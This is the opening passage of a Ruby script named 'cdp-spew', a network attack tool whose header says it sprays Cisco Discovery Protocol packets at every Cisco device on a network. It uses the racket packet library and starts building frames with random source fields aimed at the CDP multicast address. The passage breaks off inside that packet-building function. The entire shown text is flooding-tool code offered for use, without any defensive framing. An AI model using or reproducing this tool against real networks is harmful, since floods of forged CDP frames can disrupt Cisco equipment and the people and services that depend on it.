#!/usr/bin/env ruby
#
# $Id: cdp-spew 9 2008-03-02 04:44:32Z warchild $
#
# Spew CDP packets to all Cisco devices on the network
#
# Jon Hart <jhart@spoofed.org>
require 'rubygems'
require 'racket'
unless (ARGV.size >= 1)
  puts "Usage: $0 <iface> [num fields per CDP packet]"
  exit 
end
def tick 
  @it += 1
  @it = 0 if @it >= @ticks.size
  print "\r#{@ticks[@it]}"
  STDOUT.flush
end
def randcdp
  @n.layers[2] = EightOTwoDotThree.new(Misc.randstring(14))
  @n.layers[2].dst_mac = "01:00:0c:cc:cc:cc"
  @n.layers[2].length = 0
  @n.layers[3] = LLC.new